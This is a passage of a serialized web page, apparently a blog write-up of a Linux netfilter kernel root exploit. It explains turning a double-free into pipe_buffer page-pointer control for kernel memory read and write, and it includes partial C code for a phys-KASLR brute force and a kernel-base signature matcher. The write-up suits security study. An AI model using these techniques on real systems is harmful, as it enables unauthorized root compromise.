",{"type":23,"tag":41,"props":58193,"children":58194},{"style":170},[58195],{"type":28,"value":2381},{"type":23,"tag":41,"props":58197,"children":58198},{"style":114},[58199],{"type":28,"value":57827},{"type":23,"tag":41,"props":58201,"children":58202},{"style":70},[58203],{"type":28,"value":57832},{"type":23,"tag":41,"props":58205,"children":58206},{"style":164},[58207],{"type":28,"value":57837},{"type":23,"tag":41,"props":58209,"children":58210},{"style":170},[58211],{"type":28,"value":4271},{"type":23,"tag":41,"props":58213,"children":58214},{"style":70},[58215],{"type":28,"value":57846},{"type":23,"tag":41,"props":58217,"children":58218},{"class":43,"line":1163},[58219,58223,58228,58232,58236],{"type":23,"tag":41,"props":58220,"children":58221},{"style":58},[58222],{"type":28,"value":2440},{"type":23,"tag":41,"props":58224,"children":58225},{"style":70},[58226],{"type":28,"value":58227}," (evilqid ",{"type":23,"tag":41,"props":58229,"children":58230},{"style":170},[58231],{"type":28,"value":1012},{"type":23,"tag":41,"props":58233,"children":58234},{"style":164},[58235],{"type":28,"value":392},{"type":23,"tag":41,"props":58237,"children":58238},{"style":70},[58239],{"type":28,"value":1969},{"type":23,"tag":41,"props":58241,"children":58242},{"class":43,"line":1188},[58243],{"type":23,"tag":41,"props":58244,"children":58245},{"style":70},[58246],{"type":28,"value":1711},{"type":23,"tag":41,"props":58248,"children":58249},{"class":43,"line":1979},[58250,58255,58259,58263],{"type":23,"tag":41,"props":58251,"children":58252},{"style":114},[58253],{"type":28,"value":58254},"        perror",{"type":23,"tag":41,"props":58256,"children":58257},{"style":70},[58258],{"type":28,"value":1737},{"type":23,"tag":41,"props":58260,"children":58261},{"style":735},[58262],{"type":28,"value":57902},{"type":23,"tag":41,"props":58264,"children":58265},{"style":70},[58266],{"type":28,"value":3825},{"type":23,"tag":41,"props":58268,"children":58269},{"class":43,"line":2002},[58270],{"type":23,"tag":41,"props":58271,"children":58272},{"style":70},[58273],{"type":28,"value":192},{"type":23,"tag":41,"props":58275,"children":58276},{"class":43,"line":3835},[58277],{"type":23,"tag":41,"props":58278,"children":58279},{"style":70},[58280],{"type":28,"value":58281},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":546,"props":58283,"children":58285},{"id":58284},"using-pipe_buffer-page-pointer-for-physical-readwrite",[58286],{"type":28,"value":58287},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":24,"props":58289,"children":58290},{},[58291,58293,58299,58300,58306,58307,58313,58315,58321],{"type":28,"value":58292},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":37,"props":58294,"children":58296},{"className":58295},[],[58297],{"type":28,"value":58298},"kmalloc-1k",{"type":28,"value":1361},{"type":23,"tag":37,"props":58301,"children":58303},{"className":58302},[],[58304],{"type":28,"value":58305},"overlap pipe_buffer",{"type":28,"value":2032},{"type":23,"tag":37,"props":58308,"children":58310},{"className":58309},[],[58311],{"type":28,"value":58312},"skbuf",{"type":28,"value":58314}," data to control the ",{"type":23,"tag":37,"props":58316,"children":58318},{"className":58317},[],[58319],{"type":28,"value":58320},"page",{"type":28,"value":58322}," field.",{"type":23,"tag":24,"props":58324,"children":58325},{},[58326,58327,58332,58334,58340,58342],{"type":28,"value":16601},{"type":23,"tag":37,"props":58328,"children":58330},{"className":58329},[],[58331],{"type":28,"value":58320},{"type":28,"value":58333}," field is a pointer into ",{"type":23,"tag":37,"props":58335,"children":58337},{"className":58336},[],[58338],{"type":28,"value":58339},"vmemmap_base",{"type":28,"value":58341},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":3918,"props":58343,"children":58345},{"alt":50573,"src":58344},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":24,"props":58347,"children":58348},{},[58349,58351,58356],{"type":28,"value":58350},"This now allows us to navigate the ",{"type":23,"tag":37,"props":58352,"children":58354},{"className":58353},[],[58355],{"type":28,"value":58339},{"type":28,"value":58357}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":546,"props":58359,"children":58361},{"id":58360},"bruteforce-physical-kernel-base",[58362],{"type":28,"value":58363},"Bruteforce physical kernel base",{"type":23,"tag":24,"props":58365,"children":58366},{},[58367,58369,58375,58377,58382,58384,58390],{"type":28,"value":58368},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":37,"props":58370,"children":58372},{"className":58371},[],[58373],{"type":28,"value":58374},"modprobe_path",{"type":28,"value":58376},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":37,"props":58378,"children":58380},{"className":58379},[],[58381],{"type":28,"value":58339},{"type":28,"value":58383}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":37,"props":58385,"children":58387},{"className":58386},[],[58388],{"type":28,"value":58389},"PHYSICAL_ALIGN",{"type":28,"value":58391}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":31,"props":58393,"children":58395},{"className":356,"code":58394,"language":355,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[58396],{"type":23,"tag":37,"props":58397,"children":58398},{"__ignoreMap":7},[58399,58406,58414,58422,58446,58479,58499,58539,58546,58590,58624,58651,58687,58694,58740,58747,58777,58790,58855,58862,58874,58882,58889,58896,58922,58929,58949,58961,58968,58975,58982],{"type":23,"tag":41,"props":58400,"children":58401},{"class":43,"line":44},[58402],{"type":23,"tag":41,"props":58403,"children":58404},{"style":70},[58405],{"type":28,"value":10316},{"type":23,"tag":41,"props":58407,"children":58408},{"class":43,"line":54},[58409],{"type":23,"tag":41,"props":58410,"children":58411},{"style":70},[58412],{"type":28,"value":58413},"// Bruteforce phys-KASLR\n",{"type":23,"tag":41,"props":58415,"children":58416},{"class":43,"line":76},[58417],{"type":23,"tag":41,"props":58418,"children":58419},{"style":70},[58420],{"type":28,"value":58421},"    uint64_t kernel_base;\n",{"type":23,"tag":41,"props":58423,"children":58424},{"class":43,"line":85},[58425,58429,58434,58438,58442],{"type":23,"tag":41,"props":58426,"children":58427},{"style":64},[58428],{"type":28,"value":831},{"type":23,"tag":41,"props":58430,"children":58431},{"style":70},[58432],{"type":28,"value":58433}," found ",{"type":23,"tag":41,"props":58435,"children":58436},{"style":170},[58437],{"type":28,"value":2381},{"type":23,"tag":41,"props":58439,"children":58440},{"style":64},[58441],{"type":28,"value":1095},{"type":23,"tag":41,"props":58443,"children":58444},{"style":70},[58445],{"type":28,"value":183},{"type":23,"tag":41,"props":58447,"children":58448},{"class":43,"line":105},[58449,58454,58458,58463,58467,58471,58475],{"type":23,"tag":41,"props":58450,"children":58451},{"style":64},[58452],{"type":28,"value":58453},"    uint8_t",{"type":23,"tag":41,"props":58455,"children":58456},{"style":858},[58457],{"type":28,"value":15096},{"type":23,"tag":41,"props":58459,"children":58460},{"style":70},[58461],{"type":28,"value":58462},"[PAGE_SIZE] ",{"type":23,"tag":41,"props":58464,"children":58465},{"style":170},[58466],{"type":28,"value":2381},{"type":23,"tag":41,"props":58468,"children":58469},{"style":70},[58470],{"type":28,"value":45212},{"type":23,"tag":41,"props":58472,"children":58473},{"style":164},[58474],{"type":28,"value":4024},{"type":23,"tag":41,"props":58476,"children":58477},{"style":70},[58478],{"type":28,"value":936},{"type":23,"tag":41,"props":58480,"children":58481},{"class":43,"line":155},[58482,58486,58490,58495],{"type":23,"tag":41,"props":58483,"children":58484},{"style":114},[58485],{"type":28,"value":55502},{"type":23,"tag":41,"props":58487,"children":58488},{"style":70},[58489],{"type":28,"value":1737},{"type":23,"tag":41,"props":58491,"children":58492},{"style":735},[58493],{"type":28,"value":58494},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":41,"props":58496,"children":58497},{"style":70},[58498],{"type":28,"value":3825},{"type":23,"tag":41,"props":58500,"children":58501},{"class":43,"line":186},[58502,58506,58510,58514,58518,58522,58526,58531,58535],{"type":23,"tag":41,"props":58503,"children":58504},{"style":58},[58505],{"type":28,"value":3034},{"type":23,"tag":41,"props":58507,"children":58508},{"style":70},[58509],{"type":28,"value":142},{"type":23,"tag":41,"props":58511,"children":58512},{"style":64},[58513],{"type":28,"value":55630},{"type":23,"tag":41,"props":58515,"children":58516},{"style":70},[58517],{"type":28,"value":54539},{"type":23,"tag":41,"props":58519,"children":58520},{"style":170},[58521],{"type":28,"value":2381},{"type":23,"tag":41,"props":58523,"children":58524},{"style":164},[58525],{"type":28,"value":392},{"type":23,"tag":41,"props":58527,"children":58528},{"style":70},[58529],{"type":28,"value":58530},";; i",{"type":23,"tag":41,"props":58532,"children":58533},{"style":170},[58534],{"type":28,"value":51264},{"type":23,"tag":41,"props":58536,"children":58537},{"style":70},[58538],{"type":28,"value":1969},{"type":23,"tag":41,"props":58540,"children":58541},{"class":43,"line":195},[58542],{"type":23,"tag":41,"props":58543,"children":58544},{"style":70},[58545],{"type":28,"value":1711},{"type":23,"tag":41,"props":58547,"children":58548},{"class":43,"line":905},[58549,58554,58558,58563,58567,58572,58576,58581,58585],{"type":23,"tag":41,"props":58550,"children":58551},{"style":70},[58552],{"type":28,"value":58553},"        kernel_base ",{"type":23,"tag":41,"props":58555,"children":58556},{"style":170},[58557],{"type":28,"value":2381},{"type":23,"tag":41,"props":58559,"children":58560},{"style":164},[58561],{"type":28,"value":58562}," 0x40",{"type":23,"tag":41,"props":58564,"children":58565},{"style":170},[58566],{"type":28,"value":9814},{"type":23,"tag":41,"props":58568,"children":58569},{"style":70},[58570],{"type":28,"value":58571}," ((PHYSICAL_ALIGN ",{"type":23,"tag":41,"props":58573,"children":58574},{"style":170},[58575],{"type":28,"value":377},{"type":23,"tag":41,"props":58577,"children":58578},{"style":70},[58579],{"type":28,"value":58580}," i) ",{"type":23,"tag":41,"props":58582,"children":58583},{"style":170},[58584],{"type":28,"value":12756},{"type":23,"tag":41,"props":58586,"children":58587},{"style":70},[58588],{"type":28,"value":58589}," PAGE_SHIFT);\n",{"type":23,"tag":41,"props":58591,"children":58592},{"class":43,"line":922},[58593,58598,58602,58606,58610,58615,58619],{"type":23,"tag":41,"props":58594,"children":58595},{"style":858},[58596],{"type":28,"value":58597},"        pipebuf",{"type":23,"tag":41,"props":58599,"children":58600},{"style":70},[58601],{"type":28,"value":2453},{"type":23,"tag":41,"props":58603,"children":58604},{"style":858},[58605],{"type":28,"value":58320},{"type":23,"tag":41,"props":58607,"children":58608},{"style":170},[58609],{"type":28,"value":3017},{"type":23,"tag":41,"props":58611,"children":58612},{"style":70},[58613],{"type":28,"value":58614}," vmemmap_base ",{"type":23,"tag":41,"props":58616,"children":58617},{"style":170},[58618],{"type":28,"value":4383},{"type":23,"tag":41,"props":58620,"children":58621},{"style":70},[58622],{"type":28,"value":58623}," kernel_base;\n",{"type":23,"tag":41,"props":58625,"children":58626},{"class":43,"line":930},[58627,58631,58635,58639,58643,58647],{"type":23,"tag":41,"props":58628,"children":58629},{"style":858},[58630],{"type":28,"value":58597},{"type":23,"tag":41,"props":58632,"children":58633},{"style":70},[58634],{"type":28,"value":2453},{"type":23,"tag":41,"props":58636,"children":58637},{"style":858},[58638],{"type":28,"value":13895},{"type":23,"tag":41,"props":58640,"children":58641},{"style":170},[58642],{"type":28,"value":3017},{"type":23,"tag":41,"props":58644,"children":58645},{"style":164},[58646],{"type":28,"value":392},{"type":23,"tag":41,"props":58648,"children":58649},{"style":70},[58650],{"type":28,"value":183},{"type":23,"tag":41,"props":58652,"children":58653},{"class":43,"line":939},[58654,58658,58662,58666,58670,58675,58679,58683],{"type":23,"tag":41,"props":58655,"children":58656},{"style":858},[58657],{"type":28,"value":58597},{"type":23,"tag":41,"props":58659,"children":58660},{"style":70},[58661],{"type":28,"value":2453},{"type":23,"tag":41,"props":58663,"children":58664},{"style":858},[58665],{"type":28,"value":9136},{"type":23,"tag":41,"props":58667,"children":58668},{"style":170},[58669],{"type":28,"value":3017},{"type":23,"tag":41,"props":58671,"children":58672},{"style":70},[58673],{"type":28,"value":58674}," PAGE_SIZE ",{"type":23,"tag":41,"props":58676,"children":58677},{"style":170},[58678],{"type":28,"value":4383},{"type":23,"tag":41,"props":58680,"children":58681},{"style":164},[58682],{"type":28,"value":167},{"type":23,"tag":41,"props":58684,"children":58685},{"style":70},[58686],{"type":28,"value":183},{"type":23,"tag":41,"props":58688,"children":58689},{"class":43,"line":947},[58690],{"type":23,"tag":41,"props":58691,"children":58692},{"style":70},[58693],{"type":28,"value":10316},{"type":23,"tag":41,"props":58695,"children":58696},{"class":43,"line":985},[58697,58702,58706,58710,58714,58718,58723,58727,58732,58736],{"type":23,"tag":41,"props":58698,"children":58699},{"style":70},[58700],{"type":28,"value":58701},"        for (",{"type":23,"tag":41,"props":58703,"children":58704},{"style":64},[58705],{"type":28,"value":1124},{"type":23,"tag":41,"props":58707,"children":58708},{"style":858},[58709],{"type":28,"value":8621},{"type":23,"tag":41,"props":58711,"children":58712},{"style":170},[58713],{"type":28,"value":3017},{"type":23,"tag":41,"props":58715,"children":58716},{"style":164},[58717],{"type":28,"value":392},{"type":23,"tag":41,"props":58719,"children":58720},{"style":70},[58721],{"type":28,"value":58722},"; j ",{"type":23,"tag":41,"props":58724,"children":58725},{"style":170},[58726],{"type":28,"value":1012},{"type":23,"tag":41,"props":58728,"children":58729},{"style":70},[58730],{"type":28,"value":58731}," PIPE_SPRAY; j",{"type":23,"tag":41,"props":58733,"children":58734},{"style":170},[58735],{"type":28,"value":51264},{"type":23,"tag":41,"props":58737,"children":58738},{"style":70},[58739],{"type":28,"value":1969},{"type":23,"tag":41,"props":58741,"children":58742},{"class":43,"line":1058},[58743],{"type":23,"tag":41,"props":58744,"children":58745},{"style":70},[58746],{"type":28,"value":31653},{"type":23,"tag":41,"props":58748,"children":58749},{"class":43,"line":1084},[58750,58755,58759,58763,58768,58772],{"type":23,"tag":41,"props":58751,"children":58752},{"style":114},[58753],{"type":28,"value":58754},"            memset",{"type":23,"tag":41,"props":58756,"children":58757},{"style":70},[58758],{"type":28,"value":1737},{"type":23,"tag":41,"props":58760,"children":58761},{"style":170},[58762],{"type":28,"value":855},{"type":23,"tag":41,"props":58764,"children":58765},{"style":70},[58766],{"type":28,"value":58767},"data, ",{"type":23,"tag":41,"props":58769,"children":58770},{"style":164},[58771],{"type":28,"value":4024},{"type":23,"tag":41,"props":58773,"children":58774},{"style":70},[58775],{"type":28,"value":58776},", PAGE_SIZE);\n",{"type":23,"tag":41,"props":58778,"children":58779},{"class":43,"line":1102},[58780,58785],{"type":23,"tag":41,"props":58781,"children":58782},{"style":64},[58783],{"type":28,"value":58784},"            int",{"type":23,"tag":41,"props":58786,"children":58787},{"style":70},[58788],{"type":28,"value":58789}," count;\n",{"type":23,"tag":41,"props":58791,"children":58792},{"class":43,"line":1110},[58793,58798,58803,58807,58812,58816,58821,58826,58830,58834,58838,58843,58847,58851],{"type":23,"tag":41,"props":58794,"children":58795},{"style":58},[58796],{"type":28,"value":58797},"            if",{"type":23,"tag":41,"props":58799,"children":58800},{"style":70},[58801],{"type":28,"value":58802}," (count ",{"type":23,"tag":41,"props":58804,"children":58805},{"style":170},[58806],{"type":28,"value":2381},{"type":23,"tag":41,"props":58808,"children":58809},{"style":114},[58810],{"type":28,"value":58811}," read",{"type":23,"tag":41,"props":58813,"children":58814},{"style":70},[58815],{"type":28,"value":1737},{"type":23,"tag":41,"props":58817,"children":58818},{"style":858},[58819],{"type":28,"value":58820},"pfd",{"type":23,"tag":41,"props":58822,"children":58823},{"style":70},[58824],{"type":28,"value":58825},"[j][",{"type":23,"tag":41,"props":58827,"children":58828},{"style":164},[58829],{"type":28,"value":4024},{"type":23,"tag":41,"props":58831,"children":58832},{"style":70},[58833],{"type":28,"value":23047},{"type":23,"tag":41,"props":58835,"children":58836},{"style":170},[58837],{"type":28,"value":855},{"type":23,"tag":41,"props":58839,"children":58840},{"style":70},[58841],{"type":28,"value":58842},"data, PAGE_SIZE) ",{"type":23,"tag":41,"props":58844,"children":58845},{"style":170},[58846],{"type":28,"value":1012},{"type":23,"tag":41,"props":58848,"children":58849},{"style":164},[58850],{"type":28,"value":392},{"type":23,"tag":41,"props":58852,"children":58853},{"style":70},[58854],{"type":28,"value":1969},{"type":23,"tag":41,"props":58856,"children":58857},{"class":43,"line":1118},[58858],{"type":23,"tag":41,"props":58859,"children":58860},{"style":70},[58861],{"type":28,"value":31689},{"type":23,"tag":41,"props":58863,"children":58864},{"class":43,"line":1137},[58865,58870],{"type":23,"tag":41,"props":58866,"children":58867},{"style":58},[58868],{"type":28,"value":58869},"                continue",{"type":23,"tag":41,"props":58871,"children":58872},{"style":70},[58873],{"type":28,"value":183},{"type":23,"tag":41,"props":58875,"children":58876},{"class":43,"line":1163},[58877],{"type":23,"tag":41,"props":58878,"children":58879},{"style":70},[58880],{"type":28,"value":58881},"            }\n",{"type":23,"tag":41,"props":58883,"children":58884},{"class":43,"line":1188},[58885],{"type":23,"tag":41,"props":58886,"children":58887},{"style":70},[58888],{"type":28,"value":10316},{"type":23,"tag":41,"props":58890,"children":58891},{"class":43,"line":1979},[58892],{"type":23,"tag":41,"props":58893,"children":58894},{"emptyLinePlaceholder":18},[58895],{"type":28,"value":82},{"type":23,"tag":41,"props":58897,"children":58898},{"class":43,"line":2002},[58899,58904,58909,58913,58917],{"type":23,"tag":41,"props":58900,"children":58901},{"style":70},[58902],{"type":28,"value":58903},"            if (",{"type":23,"tag":41,"props":58905,"children":58906},{"style":94},[58907],{"type":28,"value":58908},"is_kernel_base",{"type":23,"tag":41,"props":58910,"children":58911},{"style":70},[58912],{"type":28,"value":1737},{"type":23,"tag":41,"props":58914,"children":58915},{"style":94},[58916],{"type":28,"value":3701},{"type":23,"tag":41,"props":58918,"children":58919},{"style":70},[58920],{"type":28,"value":58921},")) // [1] identify kernel base\n",{"type":23,"tag":41,"props":58923,"children":58924},{"class":43,"line":3835},[58925],{"type":23,"tag":41,"props":58926,"children":58927},{"style":70},[58928],{"type":28,"value":31689},{"type":23,"tag":41,"props":58930,"children":58931},{"class":43,"line":3895},[58932,58937,58941,58945],{"type":23,"tag":41,"props":58933,"children":58934},{"style":70},[58935],{"type":28,"value":58936},"                found ",{"type":23,"tag":41,"props":58938,"children":58939},{"style":170},[58940],{"type":28,"value":2381},{"type":23,"tag":41,"props":58942,"children":58943},{"style":64},[58944],{"type":28,"value":915},{"type":23,"tag":41,"props":58946,"children":58947},{"style":70},[58948],{"type":28,"value":183},{"type":23,"tag":41,"props":58950,"children":58951},{"class":43,"line":9044},[58952,58957],{"type":23,"tag":41,"props":58953,"children":58954},{"style":58},[58955],{"type":28,"value":58956},"                break",{"type":23,"tag":41,"props":58958,"children":58959},{"style":70},[58960],{"type":28,"value":183},{"type":23,"tag":41,"props":58962,"children":58963},{"class":43,"line":9061},[58964],{"type":23,"tag":41,"props":58965,"children":58966},{"style":70},[58967],{"type":28,"value":58881},{"type":23,"tag":41,"props":58969,"children":58970},{"class":43,"line":9106},[58971],{"type":23,"tag":41,"props":58972,"children":58973},{"style":70},[58974],{"type":28,"value":3347},{"type":23,"tag":41,"props":58976,"children":58977},{"class":43,"line":9212},[58978],{"type":23,"tag":41,"props":58979,"children":58980},{"emptyLinePlaceholder":18},[58981],{"type":28,"value":82},{"type":23,"tag":41,"props":58983,"children":58984},{"class":43,"line":23496},[58985],{"type":23,"tag":41,"props":58986,"children":58987},{"style":70},[58988],{"type":28,"value":10316},{"type":23,"tag":24,"props":58990,"children":58991},{},[58992,58994,58998,59000,59006,59008,59012],{"type":28,"value":58993},"Notice that at ",{"type":23,"tag":41,"props":58995,"children":58996},{},[58997],{"type":28,"value":317},{"type":28,"value":58999}," we call the ",{"type":23,"tag":37,"props":59001,"children":59003},{"className":59002},[],[59004],{"type":28,"value":59005},"is_kernel_base()",{"type":28,"value":59007}," function. This is a function based on lau's exploit ",{"type":23,"tag":41,"props":59009,"children":59010},{},[59011],{"type":28,"value":18096},{"type":28,"value":59013}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":31,"props":59015,"children":59017},{"className":356,"code":59016,"language":355,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[59018],{"type":23,"tag":37,"props":59019,"children":59020},{"__ignoreMap":7},[59021,59028,59058,59065,59073,59080,59088,59159,59221,59236,59243,59251,59319,59381,59442,59503,59565,59627,59688,59749,59810,59871,59932,59947,59954,59969,59976],{"type":23,"tag":41,"props":59022,"children":59023},{"class":43,"line":44},[59024],{"type":23,"tag":41,"props":59025,"children":59026},{"style":70},[59027],{"type":28,"value":10316},{"type":23,"tag":41,"props":59029,"children":59030},{"class":43,"line":54},[59031,59036,59041,59046,59050,59054],{"type":23,"tag":41,"props":59032,"children":59033},{"style":70},[59034],{"type":28,"value":59035},"static bool is_kernel_base(",{"type":23,"tag":41,"props":59037,"children":59038},{"style":64},[59039],{"type":28,"value":59040},"unsigned",{"type":23,"tag":41,"props":59042,"children":59043},{"style":64},[59044],{"type":28,"value":59045}," char",{"type":23,"tag":41,"props":59047,"children":59048},{"style":64},[59049],{"type":28,"value":9814},{"type":23,"tag":41,"props":59051,"children":59052},{"style":858},[59053],{"type":28,"value":30680},{"type":23,"tag":41,"props":59055,"children":59056},{"style":70},[59057],{"type":28,"value":1969},{"type":23,"tag":41,"props":59059,"children":59060},{"class":43,"line":76},[59061],{"type":23,"tag":41,"props":59062,"children":59063},{"style":70},[59064],{"type":28,"value":1559},{"type":23,"tag":41,"props":59066,"children":59067},{"class":43,"line":85},[59068],{"type":23,"tag":41,"props":59069,"children":59070},{"style":48},[59071],{"type":28,"value":59072},"    // thanks lau :)\n",{"type":23,"tag":41,"props":59074,"children":59075},{"class":43,"line":105},[59076],{"type":23,"tag":41,"props":59077,"children":59078},{"emptyLinePlaceholder":18},[59079],{"type":28,"value":82},{"type":23,"tag":41,"props":59081,"children":59082},{"class":43,"line":155},[59083],{"type":23,"tag":41,"props":59084,"children":59085},{"style":48},[59086],{"type":28,"value":59087},"    // get-sig kernel_runtime_1\n",{"type":23,"tag":41,"props":59089,"children":59090},{"class":43,"line":186},[59091,59095,59099,59104,59109,59113,59118,59122,59126,59131,59135,59139,59143,59147,59151,59155],{"type":23,"tag":41,"props":59092,"children":59093},{"style":58},[59094],{"type":28,"value":2440},{"type":23,"tag":41,"props":59096,"children":59097},{"style":70},[59098],{"type":28,"value":142},{"type":23,"tag":41,"props":59100,"children":59101},{"style":114},[59102],{"type":28,"value":59103},"memcmp",{"type":23,"tag":41,"props":59105,"children":59106},{"style":70},[59107],{"type":28,"value":59108},"(addr ",{"type":23,"tag":41,"props":59110,"children":59111},{"style":170},[59112],{"type":28,"value":4383},{"type":23,"tag":41,"props":59114,"children":59115},{"style":164},[59116],{"type":28,"value":59117}," 0x0",{"type":23,"tag":41,"props":59119,"children":59120},{"style":70},[59121],{"type":28,"value":970},{"type":23,"tag":41,"props":59123,"children":59124},{"style":735},[59125],{"type":28,"value":20048},{"type":23,"tag":41,"props":59127,"children":59128},{"style":48367},[59129],{"type":28,"value":59130},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":41,"props":59132,"children":59133},{"style":735},[59134],{"type":28,"value":20048},{"type":23,"tag":41,"props":59136,"children":59137},{"style":70},[59138],{"type":28,"value":970},{"type":23,"tag":41,"props":59140,"children":59141},{"style":164},[59142],{"type":28,"value":18096},{"type":23,"tag":41,"props":59144,"children":59145},{"style":70},[59146],{"type":28,"value":866},{"type":23,"tag":41,"props":59148,"children":59149},{"style":170},[59150],{"type":28,"value":387},{"type":23,"tag":41,"props":59152,"children":59153},{"style":164},[59154],{"type":28,"value":392},{"type":23,"tag":41,"props":59156,"children":59157},{"style":170},[59158],{"type":28,"value":52679},{"type":23,"tag":41,"props":59160,"children":59161},{"class":43,"line":195},[59162,59167,59171,59175,59180,59184,59188,59193,59197,59201,59205,59209,59213,59217],{"type":23,"tag":41,"props":59163,"children":59164},{"style":114},[59165],{"type":28,"value":59166},"        memcmp",{"type":23,"tag":41,"props":59168,"children":59169},{"style":70},[59170],{"type":28,"value":59108},{"type":23,"tag":41,"props":59172,"children":59173},{"style":170},[59174],{"type":28,"value":4383},{"type":23,"tag":41,"props":59176,"children":59177},{"style":164},[59178],{"type":28,"value":59179}," 0x7",{"type":23,"tag":41,"props":59181,"children":59182},{"style":70},[59183],{"type":28,"value":970},{"type":23,"tag":41,"props":59185,"children":59186},{"style":735},[59187],{"type":28,"value":20048},{"type":23,"tag":41,"props":59189,"children":59190},{"style":48367},[59191],{"type":28,"value":59192},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":41,"props":59194,"children":59195},{"style":735},[59196],{"type":28,"value":20048},{"type":23,"tag":41,"props":59198,"children":59199},{"style":70},[59200],{"type":28,"value":970},{"type":23,"tag":41,"props":59202,"children":59203},{"style":164},[59204],{"type":28,"value":54666},{"type":23,"tag":41,"props":59206,"children":59207},{"style":70},[59208],{"type":28,"value":866},{"type":23,"tag":41,"props":59210,"children":59211},{"style":170},[59212],{"type":28,"value":387},{"type":23,"tag":41,"props":59214,"children":59215},{"style":164},[59216],{"type":28,"value":392},{"type":23,"tag":41,"props":59218,"children":59219},{"style":70},[59220],{"type":28,"value":1969},{"type":23,"tag":41,"props":59222,"children":59223},{"class":43,"line":905},[59224,59228,59232],{"type":23,"tag":41,"props":59225,"children":59226},{"style":58},[59227],{"type":28,"value":161},{"type":23,"tag":41,"props":59229,"children":59230},{"style":64},[59231],{"type":28,"value":915},{"type":23,"tag":41,"props":59233,"children":59234},{"style":70},[59235],{"type":28,"value":183},{"type":23,"tag":41,"props":59237,"children":59238},{"class":43,"line":922},[59239],{"type":23,"tag":41,"props":59240,"children":59241},{"emptyLinePlaceholder":18},[59242],{"type":28,"value":82},{"type":23,"tag":41,"props":59244,"children":59245},{"class":43,"line":930},[59246],{"type":23,"tag":41,"props":59247,"children":59248},{"style":48},[59249],{"type":28,"value":59250},"    // get-sig kernel_runtime_2\n",{"type":23,"tag":41,"props":59252,"children":59253},{"class":43,"line":939},[59254,59258,59262,59266,59270,59274,59278,59282,59286,59291,59295,59299,59303,59307,59311,59315],{"type":23,"tag":41,"props":59255,"children":59256},{"style":58},[59257],{"type":28,"value":2440},{"type":23,"tag":41,"props":59259,"children":59260},{"style":70},[59261],{"type":28,"value":142},{"type":23,"tag":41,"props":59263,"children":59264},{"style":114},[59265],{"type":28,"value":59103},{"type":23,"tag":41,"props":59267,"children":59268},{"style":70},[59269],{"type":28,"value":59108},{"type":23,"tag":41,"props":59271,"children":59272},{"style":170},[59273],{"type":28,"value":4383},{"type":23,"tag":41,"props":59275,"children":59276},{"style":164},[59277],{"type":28,"value":59117},{"type":23,"tag":41,"props":59279,"children":59280},{"style":70},[59281],{"type":28,"value":970},{"type":23,"tag":41,"props":59283,"children":59284},{"style":735},[59285],{"type":28,"value":20048},{"type":23,"tag":41,"props":59287,"children":59288},{"style":48367},[59289],{"type":28,"value":59290},"\\xfc\\x0f\\x01\\x15",{